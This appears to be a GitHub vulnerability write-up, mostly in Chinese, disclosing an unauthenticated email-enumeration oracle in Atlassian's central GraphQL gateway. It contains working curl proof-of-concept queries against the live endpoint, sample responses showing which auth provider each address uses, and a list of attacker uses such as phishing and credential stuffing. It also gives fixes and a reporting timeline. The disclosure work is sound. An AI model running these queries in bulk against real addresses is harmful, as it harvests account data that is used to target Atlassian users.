Wh4l3X/CVE-2026-XXXX-atlassian-email-enumeration

GitHub: Wh4l3X/CVE-2026-XXXX-atlassian-email-enumeration

利用 Atlassian GraphQL 网关未经身份验证查询的响应差异,实现批量邮箱账户枚举和身份验证提供商泄露的漏洞 PoC。

Stars: 1 | Forks: 0

# CVE-2026-XXXX: Atlassian Central GraphQL — 邮箱枚举 Oracle ## 产品 **Atlassian Central GraphQL Gateway** (`api.atlassian.com/graphql`) ## 漏洞类型 **CWE-204: 可观察的响应差异** — 邮箱枚举 Oracle ## 严重程度 **中危** — CVSS 5.3 `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` ## 描述 Atlassian 中央 GraphQL 网关上的 `loomUnauthenticated_primaryAuthTypeForEmail` GraphQL 查询会根据邮箱地址是否在 Atlassian 注册而返回不同的响应,从而允许未经身份验证的用户枚举。 **已注册的邮箱** → 返回 `authType`(例如 `workos`、`password`、`google`)和一个重定向 URI **未注册的邮箱** → 返回 `authType: "none"` 且没有重定向 URI 此操作无需身份验证。查询名称包含“Unauthenticated”——这是有意公开的,但它不应泄露任意邮箱是否拥有 Atlassian 账户。 ## 受影响版本 - Atlassian Central GraphQL Gateway (快照 37157,构建版本 2026-07-02) - Endpoint: `https://api.atlassian.com/graphql` ## 概念验证 ### 已注册邮箱(返回身份验证提供商): ``` curl -s "https://api.atlassian.com/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"admin@atlassian.com\") { authType hasActiveMemberships redirectUri } }"}' ``` 响应: ``` { "data": { "loomUnauthenticated_primaryAuthTypeForEmail": { "authType": "workos", "hasActiveMemberships": false, "redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com" } } } ``` ### 未注册邮箱(返回 none): ``` curl -s "https://api.atlassian.com/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"noone@nonexist9999.com\") { authType } }"}' ``` 响应: ``` { "data": { "loomUnauthenticated_primaryAuthTypeForEmail": { "authType": "none" } } } ``` ### 其他泄露:邮箱 → 身份验证提供商映射 `authType: "workos"` 证实该邮箱使用 WorkOS SSO。`authType: "google"` 或 `authType: "password"` 将泄露身份验证方式。这可实现针对性的网络钓鱼。 ## 影响 未经身份验证的攻击者可以: - 大规模枚举已注册的 Atlassian/Loom 账户 - 将邮箱映射到其身份验证提供商(Google SSO、WorkOS、password) - 利用身份验证提供商信息进行针对性的网络钓鱼活动 - 建立有效的 Atlassian 用户列表以进行撞库攻击 ## 根本原因 `loomUnauthenticated_primaryAuthTypeForEmail` 查询没有执行速率限制,并会在未经身份验证的情况下返回任何邮箱的身份验证提供商信息。虽然该 endpoint 是故意设置为无需身份验证的(用于 Loom 的注册流程),但它泄露了某个邮箱是否拥有账户以及他们使用的身份验证提供商。 ## 修复建议 1. 添加速率限制以防止批量枚举 2. 对已注册和未注册的邮箱返回一致的响应 3. 或者:在查询邮箱状态之前要求输入 CAPTCHA/nonce ## 本漏洞不包含的内容 经过彻底测试,以下声明被**无效化**: - ❌ 没有带有特权的 JWT token(token 包含 `aaid: "unidentified"`) - ❌ 没有 admin mutation 执行(全部因 `ValidationError` 失败) - ❌ 没有身份验证绕过(网关正确地将调用者识别为 `unidentified`) - ❌ 除了邮箱/身份验证提供商映射之外,没有其他数据泄露 ## 时间线 - **2026-06-30:** 发现 - **2026-06-30:** 报告至 security@atlassian.com - **2026-07-02:** 修正评估 — 从严重 (9.8) 降级为中危 (5.3) ## 发现者 Wh4l3X
标签:CVE, GraphQL, PoC, 信息泄露, 实时处理, 应用安全, 数字签名, 暴力破解, 用户枚举